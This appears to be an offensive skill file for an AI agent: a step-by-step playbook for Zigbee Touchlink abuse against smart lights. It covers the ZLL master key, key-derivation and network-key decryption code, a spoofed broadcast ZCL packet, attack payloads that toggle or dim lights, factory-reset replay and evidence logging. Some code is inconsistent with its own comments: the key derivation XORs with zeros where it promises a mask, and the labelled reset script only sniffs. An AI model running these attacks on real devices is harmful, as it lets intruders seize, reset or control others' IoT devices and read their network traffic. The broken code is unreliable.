| name | zigbee-touchlink |
| description | Touchlink commissioning abuse on Zigbee Light Link (ZLL) devices using the well-known ZLL transport key, ZCL command injection (toggle/move/step), network key extraction, and factory reset via touchlink. Toolchain covers KillerBee, zbstumbler, zbreplay, and Sonoff Zigbee 3.0 Dongle E running Wireshark live capture. |
| allowed-tools | Bash Read Write |
| metadata | {"subdomain":"iot","when_to_use":"Zigbee, Touchlink, ZLL, ZCL, KillerBee, zbstumbler, zbreplay, Sonoff Zigbee dongle, IEEE 802.15.4, Zigbee network key, commissioning, factory reset, smart bulb, Philips Hue, IKEA Tradfri","tags":"zigbee, touchlink, zll, zcl, killerbee, iot, embedded, 802154","mitre_attack":"T1040, T1190, T1499.004, T1078.001"} |
Zigbee Touchlink Commissioning Abuse
Zigbee Light Link (ZLL) defines a Touchlink commissioning mechanism
intended for close-proximity pairing (≤20 cm). The procedure relies on
a well-known, publicly documented transport key (ZLL Master Key published
in the ZigBee Light Link spec). In practice it works at distances of
several metres with a directional antenna, allowing an attacker to steal
devices off an existing coordinator, factory-reset smart bulbs, or inject
ZCL commands without joining the network.
Prerequisites
- Hardware: Sonoff Zigbee 3.0 Dongle-E (CC2652P) with Z-Stack coordinator or
sniffer firmware, OR RZUSB (AT86RF233), OR ApiMote v4 (CC2531 based).
For highest sensitivity: HackRF + Zigbee SDR (gr-ieee802-15-4) — passive only.
- Firmware options:
- Sniffer: flash
CC2531_sniffer.hex / cc2652_sniffer.hex (TI) — Wireshark
source, passive.
- Attack: flash
coordinator_20230507.hex from Z-Stack 3.x — gives full TX.
- Software: KillerBee suite, Scapy with
scapy-radio, Python 3.x.
git clone https://github.com/riverloopsec/killerbee
cd killerbee && pip install .
zbid
Phase 1: Passive Channel Scan (zbstumbler)
zbstumbler -i /dev/ttyUSB0 | tee /tmp/zigbee_stumble.txt
zbdump -i /dev/ttyUSB0 -c 15 -w /tmp/zigbee_ch15.pcap
wireshark -k -i lo
Key fields to identify in pcap:
- Frame Control =
0x8841 (Data, ZigBee, PAN compress)
- Cluster ID =
0x1000 (ZLL Commissioning cluster)
- Command ID =
0x00 (Scan Request), 0x01 (Scan Response), 0x07 (Touchlink Reset)
Phase 2: Decode the ZLL Well-Known Transport Key
The ZLL Master Key (published in Zigbee spec 11-0037-10) is:
ZLL Master Key: 9F 55 95 F1 02 57 C8 A9 65 73 AB 53 EE 2D 4C 0D
Derive per-device transport key:
from Crypto.Cipher import AES
ZLL_MASTER_KEY = bytes.fromhex("9F5595F10257C8A96573AB53EE2D4C0D")
def derive_transport_key(transaction_id: bytes, response_id: bytes) -> bytes:
"""
ZLL key derivation: AES-ECB of (transactionId XOR responseId XOR mask) with master key.
Per ZigBee Lighting Profile spec section 8.7.
"""
data = bytes(a ^ b for a, b in zip(transaction_id + response_id,
b'\x00' * 8 + b'\x00' * 8))
cipher = AES.new(ZLL_MASTER_KEY, AES.MODE_ECB)
return cipher.encrypt(data)
Phase 3: Touchlink Scan + Factory Reset
KillerBee includes zbtouchlink (or use the custom script below):
python3 - <<'EOF'
import time
from killerbee import KillerBee, PcapDumper
CHANNEL = 15
IFACE = "/dev/ttyUSB0"
kb = KillerBee(device=IFACE)
kb.set_channel(CHANNEL)
kb.sniffer_on()
print(f"[*] Listening on channel {CHANNEL}...")
while True:
frame = kb.pnext()
if frame and frame[0]:
data = frame[0]
if len(data) > 20:
print(f"[+] Frame: {data.hex()}")
EOF
Factory reset via zbreplay / custom ZLL Reset-to-factory-new:
zbreplay -i /dev/ttyUSB0 -c 15 -f /tmp/touchlink_reset.pcap
zbfind -i /dev/ttyUSB0 -c 15
Phase 4: ZCL Command Injection (no network join required)
ZCL commands to the Scenes/On-Off cluster can be sent as broadcast or unicast
with the source address spoofed. No association to the PAN is required for
broadcast delivery on 802.15.4.
from scapy.all import Dot15d4, Dot15d4Data, ZigbeeNWK, ZigbeeSecurityHeader, ZigbeeAppDataPayload
pkt = (
Dot15d4(fcf_frametype=1, fcf_srcaddrmode=2, fcf_destaddrmode=2,
dest_panid=0xDEAD, dest_addr=0xFFFF, src_addr=0x1234) /
ZigbeeNWK(frametype=0, proto_ver=2, discover_route=0,
destination=0xFFFF, source=0x1234, radius=1) /
ZigbeeAppDataPayload(frametype=1, cluster=0x0006,
profile=0x0104, dst_endpoint=0xFF, src_endpoint=0x01) /
bytes([0x01, 0x00, 0x02])
)
Known ZCL attack payloads:
| Cluster | Command | Effect |
|---|
| 0x0006 On/Off | 0x02 Toggle | Flip all lights |
| 0x0008 Level Control | 0x00 Move to Level | Set brightness 0 (lights off) |
| 0x0003 Identify | 0x00 Identify | Blink device — confirms target |
| 0x0300 Color Control | 0x07 Move to Color Temp | Alter scene |
Phase 5: Network Key Extraction via Touchlink
If a Touchlink inter-PAN key transport message is captured, the encrypted
NWK key can be decrypted using the derived transport key:
from Crypto.Cipher import AES
def decrypt_nwk_key(encrypted_key: bytes, transport_key: bytes) -> bytes:
cipher = AES.new(transport_key, AES.MODE_ECB)
return cipher.decrypt(encrypted_key)
With the plaintext NWK key, decrypt all subsequent traffic in Wireshark:
- Edit → Preferences → Protocols → ZigBee → Add decryption key.
Evidence
EVIDENCE="/workspace/evidence/zigbee-touchlink/$(date +%Y%m%d_%H%M%S)"
mkdir -p "$EVIDENCE"
cp /tmp/zigbee_ch15.pcap "$EVIDENCE/"
cp /tmp/zigbee_stumble.txt "$EVIDENCE/"
sha256sum "$EVIDENCE"/* >> "$EVIDENCE/sha256.txt"
kg_add_node(
kind="finding",
label=f"Zigbee Touchlink abuse on PAN {pan_id:#06x}",
props={
"key": f"zigbee-touchlink::{pan_id}",
"pan_id": pan_id,
"channel": channel,
"nwk_key_hex": nwk_key.hex() if nwk_key else None,
"touchlink_reset_success": True,
"source": "killerbee+scapy",
},
)
OPSEC Notes
- Factory-reset is destructive and visible — the device drops off the
coordinator immediately. Only perform when explicitly authorized.
- ZCL broadcast toggle is detectable by the coordinator as spurious
traffic from an unregistered source address.
- Passive sniffing (zbdump) has zero RF footprint beyond receive.
- Touchlink operates in inter-PAN mode: you do NOT need to join the target's
PAN to send or receive ZLL commissioning frames.
- Channel 25 (2.475 GHz) is the Zigbee primary ZLL channel; channel 11
(2.405 GHz) is common for home automation. Always scan 11-26.
References